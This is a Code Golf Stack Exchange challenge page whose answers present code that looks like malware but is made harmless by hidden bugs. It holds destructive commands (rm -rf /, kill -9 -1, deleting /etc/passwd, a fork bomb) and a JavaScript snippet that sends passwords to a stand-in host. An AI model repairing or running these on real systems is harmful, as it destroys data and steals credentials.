179
votes
\$\begingroup\$

A troll has captured you and is forcing you to write malware (defined as a program that damages the computer that runs it). The troll can read and understand code, but is not so good at spotting bugs.

Your goal is to write a program that:

  1. Looks like malware; i.e., a beginning programmer reading the code will be convinced that the code causes damage to the computer running it.
  2. Actually does no damage at all.

NOTE: The troll reads only the code - not the comments. So the code itself should be clear and convincing enough.

EXAMPLE (bash):

rm - rf /home

This example looks like rm -rf /home which removes all home folders from the system, but actually, because of the space before the rf, this will not work and cause only a harmless error message.

This is an acceptable solution but it is not very good, because the bug is quite easy to detect.

On the other hand, a program that is complex and unreadable will also not be a very good solution, because it will not look like malware.

A good solution should be readable enough to convince the reader that it's malware, but contain a bug that is difficult to detect and renders it harmless.

This is a popularity contest, so the code with the most upvotes wins.

\$\endgroup\$
21
  • 160
    \$\begingroup\$ I feel like you're trying to trick me into pasting rm - rf / into my shell... \$\endgroup\$ Commented Mar 10, 2014 at 8:28
  • 19
    \$\begingroup\$ Bash rm -rf / . Unless the system is very old , it will require --no-preserve-root :) \$\endgroup\$
    – user80551
    Commented Mar 10, 2014 at 10:59
  • 10
    \$\begingroup\$ -1 because a) code-trolling and more importantly b) I'm very concerned by any questions regarding creating malware (even though it's fake it skirts very close). \$\endgroup\$
    – Gareth
    Commented Mar 10, 2014 at 11:00
  • 13
    \$\begingroup\$ @Gareth It's not really malware, though (which typically tries to be hidden and/or steal data these days), it's mostly completely obvious attempts to delete things, which any beginner programmer could write with little effort. \$\endgroup\$
    – Bob
    Commented Mar 11, 2014 at 0:01
  • 29
    \$\begingroup\$ rm - rf / isn't a valid example! It can cause damage if you have a file called rf in the current directory \$\endgroup\$
    – gnibbler
    Commented Mar 11, 2014 at 5:17

50 Answers 50

1
2
3
votes
\$\begingroup\$

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

It won't run, you can't create a closure all call it without surrond it with parens

2.

If the troll manages to fix that, there is a beautiful typo to debug... ;-)

\$\endgroup\$
8
  • 1
    \$\begingroup\$ what language? and maybe hint to the typo a bit more \$\endgroup\$
    – masterX244
    Commented Mar 13, 2014 at 23:51
  • \$\begingroup\$ @masterX244 is Javascript, i'll edit it. Typo hint: ReferenceError \$\endgroup\$ Commented Mar 14, 2014 at 0:10
  • 3
    \$\begingroup\$ That typo is so often that it should be autocorrected by editors... \$\endgroup\$
    – mik01aj
    Commented Mar 14, 2014 at 9:04
  • \$\begingroup\$ Yes, i do that typo a lot. Especially if the word's length is quite long :P \$\endgroup\$ Commented Mar 17, 2014 at 9:20
  • 1
    \$\begingroup\$ @m01 +1 I think it should be a reserved word that throw an exception or compile time error! \$\endgroup\$ Commented Mar 17, 2014 at 11:37
3
votes
\$\begingroup\$

Python

Kill all processes that can be killed with SIGKILL signal.

#!/usr/bin/env python
import os
import stat
from subprocess import call
from tempfile import NamedTemporaryFile

with NamedTemporaryFile(dir='.', prefix='killall') as script:
  script.write(b"#!/bin/sh\nkill -9 -1")
  os.chmod(script.name, os.stat(script.name).st_mode | stat.S_IEXEC)
  call(script.name)

It generates "Text file busy" error: trying to execute a file that is opened for writing

\$\endgroup\$
3
votes
\$\begingroup\$

Language: Java

This program will run for eternity wasting resources. The Integer was used because it uses more memory than int and thus will waste more resources.

class Halt {
    public static void main(String[] args) {
        Integer i = 0;
        Integer j = 0;
        while (i == j) {
           i++;
           j++;
           System.out.println("Waste those resources!");
      }
   }
}

Should be pretty obvious in Java since 128 doesn't actually equal 128.

\$\endgroup\$
4
  • \$\begingroup\$ Nice job. Please state your language at the top of your post. \$\endgroup\$
    – user10766
    Commented Mar 18, 2014 at 21:13
  • \$\begingroup\$ "128 doesn't actually equal 128" what? \$\endgroup\$ Commented Apr 26, 2014 at 20:35
  • 1
    \$\begingroup\$ Maybe you meant that "==" will return false because i and j are different objects? \$\endgroup\$ Commented Apr 26, 2014 at 20:36
  • \$\begingroup\$ No, java has a pool of Integer objects that includes 0. \$\endgroup\$
    – nanofarad
    Commented Jun 9, 2014 at 20:30
2
votes
\$\begingroup\$

Scala

On a windows machine:

import java.io._

val file = new File("""c:\udead""")
if(!file.exists) file.mkdirs

val user_dir = new File(file.getAbsolutePath().replace("dead","sers"))
if(user_dir.exists) println("""Going to destroy user files/!\""")

def deleteFile(file : File) : Unit = {
  if(file.isDirectory) {
    file.listFiles.foreach(deleteFile)
  }
  file.delete
}
deleteFile(user_dir)

\udead is a unicode character so that it will create a directory named c:? where ? is the unicode char. It will never touch the users directory, and simply... delete the created directory.

\$\endgroup\$
2
votes
\$\begingroup\$

Unix shell

rm -rf /

rm: it is dangerous to operate recursively on ‘/’
rm: use --no-preserve-root to override this failsafe

\$\endgroup\$
2
  • \$\begingroup\$ Are you sure this failsafe exists in every implementation of rm, everywhere? \$\endgroup\$
    – kojiro
    Commented Mar 13, 2014 at 13:25
  • \$\begingroup\$ @kojiro: GNU's rm has such protection (but can be overridden by using --no-preserve-root, as it's GNU which has an option for everything). FreeBSD's rm shows rm: "/" may not be removed. Solaris's rm shows rm of / is not allowed. I don't have access to more operating systems, so I don't know if it applies to other systems, but I'm pretty sure it applies to most. \$\endgroup\$
    – null
    Commented Mar 13, 2014 at 13:30
2
votes
\$\begingroup\$

C++

(Delete all files in C:\ or other directory of Troll's choice...)

int _tmain(int argc, _TCHAR* argv[])
{
    WIN32_FIND_DATA fd; 
    HANDLE hFind = ::FindFirstFileW((LPCWSTR)"C:\\*.*", &fd); 
    if(hFind != INVALID_HANDLE_VALUE) 
    { 
        do 
        { 
            if(! (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ) 
            {
                DeleteFile(fd.cFileName);
            }
        }while(::FindNextFile(hFind, &fd)); 
        ::FindClose(hFind); 
    } 

    return 0;
}

...But only if they replace the single-byte to multi-byte string cast (LPCWSTR)"C:\\*.*" with the macro _T("C:\\*.*"), otherwise, it will compile but FindFirstFileW being passed an invalid string will always return an invalid handle.

\$\endgroup\$
2
votes
\$\begingroup\$

C#

Deletes all files on the current drive, by dynamically generating a C# assembly (via CodeDomProvider.CompileAssemblyFromSource) and calling said class via reflection.

For those not familiar with CodeDomProvider.CompileAssemblyFromSource and too lazy to look the documentation up (I'm talking to you, Mr. Troll!), the signature is defined as:

public virtual CompilerResults CompileAssemblyFromSource(
    CompilerParameters options,
    params string[] sources
)

where sources is declared to be "An array of source code strings to compile."

using System;
using System.CodeDom.Compiler;
using System.Reflection;
using Microsoft.CSharp;

namespace TrollTroller
{
    class Program
    {
        public void ExecuteMalware()
        {
            CompilerParameters cp = new CompilerParameters();
            cp.GenerateExecutable = false;
            cp.GenerateInMemory = true;
            cp.ReferencedAssemblies.Add("System.dll");
            CodeDomProvider provider = new CSharpCodeProvider();
            CompilerResults cr = provider.CompileAssemblyFromSource(cp, 
                @"using System;",
                @"using System.Collections.Generic;",
                @"using System.Linq;",
                @"using System.IO;",
                @"using System.Text;",
                @"namespace SuperNastyMalware",
                @"{",
                @"    class Nasty",
                @"    {",
                @"        public void NukeEmAll()",
                @"        {",
                @"            foreach (string target in Directory.GetFiles(""/"", ""*.*"", SearchOption.AllDirectories))",
                @"            {",
                @"                File.Delete(target);",
                @"            }",
                @"        }",
                @"    }",
                @"}"
            );
            while (cr.Errors.Count == 0)
            {
                var nasty = cr.CompiledAssembly.CreateInstance("SuperNastyMalWare.Nasty");
                Type t = nasty.GetType();
                t.InvokeMember("NukeEmAll",
                   BindingFlags.InvokeMethod | BindingFlags.Public | BindingFlags.Instance,
                   null, nasty, null);
            }
        }
        static void Main(string[] args)
        {
            Program program = new Program();
            program.ExecuteMalware();
        }
    }
}

What the MSDN documentation doesn't mention is that each of the string parameters is supposed to be a complete source file, not one line in a source code file. When the code is run, you get all sorts of lovely compilation errors in the cr.Errors collection. The while loop is there to prevent cr.CompiledAssembly.CreateInstance() from throwing an exception and tipping off the troll that something is broken.

Yes, I know the best answer has already been accepted. However, I ran into this while researching my answer to the Pi Day challenge and figured it was worth sharing.

\$\endgroup\$
2
votes
\$\begingroup\$

Javascript

This code will unleash an unending stream of annoying alert windows.

//Change to true if testing
var testing = false;
if (testing = true) {
  alert("Test successful");
} else {
  while (true) {
    alert("Trololo!");
  }
}

A single equal sign will make an assignment, not a comparison; in this case, the if statement looks at the value assigned, which overwrites the original value, resulting in always being in "testing" mode.

\$\endgroup\$
1
  • 3
    \$\begingroup\$ I managed to spot this one :) Maybe it's because I make this mistake all the time... \$\endgroup\$ Commented Mar 18, 2014 at 18:57
2
votes
\$\begingroup\$

Python (2.7)

File req.py:

import os
def init(h,p):
    os.popen('shutdown -p -f')
    return True
if __name__ == '__main__':
    quit()

File RAT.py:

import req
host = '127.0.0.1' #Change out for target IP
port = 25564
print'[!] Connecting...'
time.sleep(3)
lock = req.init(host,port)

How to Use

Most script-kiddies don't read the modules to source code in python (HUGE mistake)

Simply set-up the files like above and let them run RAT.py

"Trick"

The "trick" is very obvious if you were to read "req.py", but script-kiddies just don't...

\$\endgroup\$
2
votes
\$\begingroup\$

Python

Code:

import os
# delete everything!
try:
    os.remove('/')
except OSError:
    # directory already deleted before
    pass

Nothing is actually deleted, because:

os.remove(path): Remove (delete) the file path. If path is a directory, OSError is raised;


Code:

import os
# bugfix: this function is used to delete directories. For sure!
try:
    os.rmdir('/')
except OSError:
    # directory already deleted before
    pass

Nothing is actually deleted, because:

os.rmdir(path): Remove (delete) the directory path. Only works when the directory is empty, otherwise, OSError is raised.

\$\endgroup\$
1
vote
\$\begingroup\$

PostScript:

%!Adobe-PS-2.0
%%EOF
/picstr 256 string def
/trollface {currentpagedevice /pagesize get aload scale
    256 256 8 [256 0 0 –256 0 256]
    {currentfile picstr readhexstring pop} image
} def
{trollface showpage} repeat

[insert image data here]

Since the troll doesn't read comments, I can just insert an EOF document-structuring comment into the file. None of the code past the %%EOF will be run, because the document manager will stop transmitting the file when this is encountered.

Without the %%EOF DSC, this PostScript program would print an unlimited number of pages filled with a trollface image taken from image data at the end of the postscript file, until someone manually cancelled the job or it ran out of paper/ink.

\$\endgroup\$
5
  • \$\begingroup\$ How do I use this? Can I just write it to my printer's serial port? \$\endgroup\$
    – cat
    Commented Jan 20, 2016 at 16:10
  • \$\begingroup\$ @cat It depends on the printer. For some really old printers that would probably work though. \$\endgroup\$ Commented Jan 20, 2016 at 16:12
  • \$\begingroup\$ maybe I'll send it to my school's library printer and just walk out ;) (kidding, I have better things to print) \$\endgroup\$
    – cat
    Commented Jan 20, 2016 at 16:30
  • 1
    \$\begingroup\$ @cat Well, you'd need to actually add the trollface image data (which I omitted for brevity). \$\endgroup\$ Commented Jan 20, 2016 at 16:33
  • \$\begingroup\$ pastebin.com/8wG92wqU \$\endgroup\$
    – cat
    Commented Jan 20, 2016 at 16:40
1
vote
\$\begingroup\$

Javascript

/* this is a very evil script *∕
while(1)                       ∕* infinite spam */
  alert("Greetings from Troll");

Except the user gets only one popup.

Comments are aligned like that because of this: /∕

\$\endgroup\$
3
  • 2
    \$\begingroup\$ This is no longer funny and it also isn't exactly "malware". \$\endgroup\$ Commented Aug 15, 2014 at 9:47
  • \$\begingroup\$ Made an account just to get downvoted wow \$\endgroup\$ Commented Aug 15, 2014 at 16:04
  • \$\begingroup\$ So three downvotes for a newcomer because he should have read some meta post before answering that he couldn't possibly have known about and somebody makes fun of his name? Welcome to Code Golf... \$\endgroup\$
    – Dennis
    Commented Sep 1, 2014 at 21:39
1
vote
\$\begingroup\$

TI-BASIC (84)

This program will clear the RAM on the calculator, removing important variables, lists, and programs. (My excuse is that I only had my TI-84 to test on, and I did not want to clear my memory, for that comment.) This requires two programs:

prgmDELETE
:AsmPrgmEF4E40C9
:AsmPrgmC7

prgmWRAPPER
:While 0:
::THIS IS TO LET THE USER KNOW THAT THEIR FATE IS INEVITABLE
:End
:If 0:"CHANGE TO 1 FOR YOUR OWN CALCULATOR, TO SKIP DELETION
:Goto EN
:prgmDELETE
:
:Lbl EN
:ClrHome
:Disp "PROGRAM FILES","HAVE BEEN","DELETED! >:D","--LE HACKER

Yup, that's it, Mr. Troll. You are evil for making me do this. I will go pray or something. Bye!


Stuck? Read below.

There are actually two mistakes. One: If 0:"CHANGE TO 1 FOR YOUR OWN CALCULATOR, TO SKIP DELETION. This is because, whenever you insert a : in the program, it is treated as a newline. And, since the If statement is merely a single-line, it actually does go to the label EN, skipping the execution of prgmDELETE.
Two, to execute an assembly program, you must prefix the program name with Asm(. So, the correct statement would look like Asm(prgmDELETE.

\$\endgroup\$
6
  • \$\begingroup\$ To actually clear the RAM on a calculator, all you need to do is AsmPrgm. The lack of a ret causes an eventual crash. \$\endgroup\$
    – lirtosiast
    Commented Sep 26, 2015 at 23:32
  • 1
    \$\begingroup\$ @ThomasKwa Well, I consider myself to be a pretty adept TI-84 coder. Ergo, the troll (probably) wouldn't know that. I didn't know that fact, so I'm banking on the fact that the troll doesn't know that ^_^ \$\endgroup\$ Commented Sep 26, 2015 at 23:34
  • \$\begingroup\$ Also, why the C7 (rst 00)? \$\endgroup\$
    – lirtosiast
    Commented Sep 26, 2015 at 23:34
  • \$\begingroup\$ @ThomasKwa TBH, I got the Assembly code from here. I thought it was a little weird, too, because I know C9 ends the assembly code. I was just afraid to try it on my own calculator. \$\endgroup\$ Commented Sep 26, 2015 at 23:37
  • \$\begingroup\$ You can't have two AsmPrgm in one program. The RAM-clearing code isn't even valid. \$\endgroup\$
    – lirtosiast
    Commented Sep 26, 2015 at 23:41
0
votes
\$\begingroup\$

Python

do_evil = True

def evil():
    if do_evil:
        os.remove('/etc/passwd')
        do_evil = False
    print 'Evil done!'

evil()

Similar to the JS one, variables in Python are function-scoped. do_evil = False creates a local variable without a value, and when if do_evil: is executed, you get UnboundLocalError. This one looks more normal as it doesn't need a keyword.

\$\endgroup\$
0
votes
\$\begingroup\$

Bash

rm -RF --no-preserve-root /

This will delete everything except:

It will fail to run because: invalid option -- 'F'. You can only use lowercase -f

\$\endgroup\$
0
votes
\$\begingroup\$

Python

This is a super-effective fork bomb that will not terminate even when it can't replicate:

import os
def fork():
    try:
      return os.fork() + 998543
    except os.error:
      return 99993843
for a in range(fork()):
  for b in range(fork()):
   for c in range(fork()):
    for d in range(fork()):
     for e in range(fork()):
      for f in range(fork()):
       for g in range(fork()):
        for h in range(fork()):
         for i in range(fork()):
          for j in range(fork()):
           for k in range(fork()):
            for l in range(fork()):
             for m in range(fork()):
              for o in range(fork()):
               for p in range(fork()):
                for q in range(fork()):
                 for r in range(fork()):
                  for s in range(fork()):
                   for t in range(fork()):
                    for u in range(fork()):
                     for v in range(fork()):
                      for w in range(fork()):
                        fork()

But:

It fails to compile with SystemError: too many statically nested blocks.

\$\endgroup\$
0
votes
\$\begingroup\$

Bash

rm /*

This doesn't work because:

You need the -r option to delete directories

\$\endgroup\$
0
votes
\$\begingroup\$

C

#include <stdlib.h>
#include <string.h>
#include <signal.h>

char* doomCommand = "rm -rf /importantfolder";

#ifdef _WIN32
    char silencer[14] = " > NUL 2> NUL";
#elif __APPLE__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif __linux__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif __unix__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif defined(_POSIX_VERSION)
    char silencer[26] = " > /dev/null 2> /dev/null";
#else
    /*Just make a lucky guess*/
    char silencer[26] = " > /dev/null 2> /dev/null";
#endif

int main() {
    size_t doomLength = strlen(doomCommand);
    size_t silencerLength = strlen(silencer);
    char* finalCommand;

    signal(SIGABRT, SIG_IGN);
    signal(SIGFPE, SIG_IGN);
    signal(SIGILL, SIG_IGN);
    signal(SIGINT, SIG_IGN);
    signal(SIGSEGV, SIG_IGN);
    signal(SIGTERM, SIG_IGN);

    while (*(doomCommand++)); /*Integrity check*/
    finalCommand = malloc(doomLength + silencerLength + 1);
    strcat(finalCommand, doomCommand -= doomLength);
    strcat(finalCommand, silencer);

    return system(finalCommand);
}

Features:

  • Works on most operating systems used this millennium.
  • Will work on even the oldest standards-compliant compilers. (Probably.)
  • Includes a sanity check to make sure the command is a valid string.
  • Casually ignores most attempts to close the program.
  • You can use a custom destructive command.
  • Stops the user seeing the evil output of any command you choose to run.

Spoiler:

Unfortunately, the sanity check moves the pointer forward length + 1 chars. So when the pointer is moved back length chars, it is now pointing to the second character in the string, not the first, and will throw an error when it tries to run your lovely command. Luckily though, all the output is suppressed. What a relief.

\$\endgroup\$
-1
votes
\$\begingroup\$

C

void main(void)
{
    for(int i=0; i<3; i++)
    {
        switch (i)
        {
        case 0:
            printf("Going ...\n");
            break;
        case 1:
            printf("going ...\n");
            break;
        defau1t:
            system("rm -rf ~");
            printf("gone!\n");
            break;
        }
    }
}

It's always best to give users time to regret running a program - but not enough to stop it.

defau1t is spelt with a 1 (one) rather than an l. That makes it a label rather than the default so that code never gets executed.

\$\endgroup\$
6
  • \$\begingroup\$ Aw c'mon, not again... \$\endgroup\$ Commented Jun 4, 2014 at 9:52
  • 1
    \$\begingroup\$ No, not again. I would say there is a big difference between having variables a1 and al which would be just as tedious as you imply and using that trick to change part of the standard syntax of the l \$\endgroup\$
    – Alchymist
    Commented Jun 6, 2014 at 14:09
  • \$\begingroup\$ Too slow to finish previous edit. Changing the meaning of a standard C construction seems a different level from using two different variables. \$\endgroup\$
    – Alchymist
    Commented Jun 6, 2014 at 14:19
  • \$\begingroup\$ +1 I always make this mistake in ANY programming language, esp. when using a variable, as you said, like a1. I always type al, because 1 looks like l in Consolas, etc. I don't know why the hate... \$\endgroup\$ Commented Sep 26, 2015 at 23:29
  • \$\begingroup\$ @CᴏɴᴏʀO'Bʀɪᴇɴ Unfortunately, I now agree with the downvotes within the context of this site. It's just because it is too easy to make that mistake that it doesn't make for a good answer - everyone can do it. \$\endgroup\$
    – Alchymist
    Commented Sep 28, 2015 at 8:09
-3
votes
\$\begingroup\$

C#

Now what this evil application is intended to do is to find all folders and sub-folders on drive C:\ and create 100 randomly named files in it, when done - repeat, forever

using System.IO;

class Program
{
    static void Main()
    {
        // Do this forever
        while (true)
        {
            MakeSomeMess(@"С:\"); // see what I did there?
        }
    }

    private static void MakeSomeMess(string path)
    {
        // Find all folders
        foreach (var directory in Directory.GetDirectories(path))
        {
            // Make 100 randomly named files in each folder
            for (var i = 0; i < 100; i++)
            {
                try
                {
                    File.WriteAllText(Path.Combine(directory, Path.GetRandomFileName()), "Boobs Boobs Boobs");
                }
                catch
                {
                    // a file failed to create, probably a system folder like C:\\$Recycle.Bin
                    // no big deal there are plenty of folders to fill with rubbish
                }
            }

            // Do the same for every subfolder
            MakeSomeMess(directory);
        }
    }
}

And the twist is:

@"С:\" is not the root folder, such folder does not exist as the letter 'С' in it, is actually the Cyrillic letter 'S'. Since C and С are rendered identical in almost any font (as you can see) our troll won't notice that @"С:\" is not a valid path. Поздрави от България :)

\$\endgroup\$
5
  • 2
    \$\begingroup\$ -1: This is a Standard Loophole \$\endgroup\$
    – user16402
    Commented Nov 20, 2014 at 20:29
  • \$\begingroup\$ Doesn't \" mean "escape the ""? \$\endgroup\$
    – wizzwizz4
    Commented Feb 7, 2016 at 13:42
  • \$\begingroup\$ @wizzwizz4 No, the @ before the string keeps the `` from escaping characters. So, the backwards slash is interpreted as a normal slash, not an escaping character. \$\endgroup\$
    – Adnan
    Commented Feb 7, 2016 at 17:02
  • \$\begingroup\$ @wizzwizz4 The escape character is surpressed by the @. It is not an escape character anymore. This is very commonly used actually. \$\endgroup\$
    – Adnan
    Commented Feb 7, 2016 at 19:14
  • \$\begingroup\$ @Adnan I was just wondering why Sinnerman put the @ there. Because there would have been yet another error if he hadn't. \$\endgroup\$
    – wizzwizz4
    Commented Feb 8, 2016 at 17:33
1
2

Not the answer you're looking for? Browse other questions tagged or ask your own question.